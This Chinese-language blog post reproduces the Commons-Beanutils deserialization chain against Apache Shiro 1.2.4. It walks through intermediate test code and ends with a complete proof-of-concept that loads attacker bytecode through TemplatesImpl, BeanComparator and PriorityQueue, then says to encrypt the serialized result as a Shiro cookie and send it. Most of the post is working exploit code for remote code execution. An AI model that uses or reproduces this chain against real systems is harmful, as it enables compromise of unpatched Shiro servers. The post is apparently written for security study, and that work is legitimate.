author: bilala
复现环境
- tomcat8.5
- jdk1.8
- shiro1.2.4
Commons-Beanutils
虽然在①中,我们使用CC链打通了shiro反序列化,但实际上shiro并没有cc依赖,不过shiro中有一个commons-beanutils
依赖,这个依赖主要是扩充了JavaBean语法,能够动态调用符合JavaBean的类方法,例如getAge,setAge等。
使用示例
先写一个JavaBean
public class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
测试代码
import org.apache.commons.beanutils.PropertyUtils;
public class CBTest {
public static void main(String[] args) throws Exception{
Person person = new Person("bilala", 20);
// CB调用,!!相当于调用了person.getName!!
System.out.println(PropertyUtils.getProperty(person, "name"));
}
}
链子分析
我们在CC3中有使用到TemplatesImpl
这个类,当时用到的是他的newTransformer
方法,CB链中也是用到了,不过是从getOutputProperties
这个方法中进入的
而getOutputProperties
正好满足我们cb动态调用(getXxx的都可以),所以直接copy CC3的前半段写出如下测试代码
public class CBShiroExp {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 这里需要先写一个Test类然后编译
byte[] code = Files.readAllBytes(Paths.get("E:\\code\\JavaSec\\cc-all\\target\\classes\\com\\evil\\cc3Evil.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
PropertyUtils.getProperty(templates, "outputProperties");
}
}
成功弹出计算器
所以接下来要找哪里调用了getProperty
注意这个BeanComparator
类,这个类的compare
方法中调用了getProperty
,而且这个类可被序列化
compare
方法在cc4中也有接触到,当时用的是队列那个类去触发,这里也是同理
测试代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CBShiroExp {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 这里需要先写一个Test类然后编译
byte[] code = Files.readAllBytes(Paths.get("E:\\code\\JavaSec\\cc-all\\target\\classes\\com\\evil\\cc3Evil.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);
priorityQueue.add(templates);
priorityQueue.add(1);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
in.readObject();
}
}
运行后报错
找不到方法,查看调用栈可以看到是在add的时候就触发了compare方法,而compare时,我们并没有传入东西,所以找不到方法
我们可以把队列设空
PriorityQueue priorityQueue = new PriorityQueue<>();
不过这会带来新的错误
这里我们可以利用CC4中的TransformingComparator
类,再利用反射改回值
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(1);
Class clazz=PriorityQueue.class;
Field comparatorField = clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize();
这里还需要注意的是BeanComparator
的构造方法,调用了ComparableComparator
,而这玩意是CC依赖的,shiro中又没有CC,所以这里也要改
改起来也简单,换一个构造方法就行
所以我们需要找一个类,继承了Serializable和Comparator(有很多,这里使用AttrCompare
)
到此构造链就完毕了
最终POC
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CBShiroExp {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 这里需要先写一个Test类然后编译
byte[] code = Files.readAllBytes(Paths.get("E:\\code\\JavaSec\\cc-all\\target\\classes\\com\\evil\\cc3Evil.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(1);
Class clazz=PriorityQueue.class;
Field comparatorField = clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
in.readObject();
}
}
同样在生成后,用shiro的cookie加密方式加密一下,再传过去
Comments | NOTHING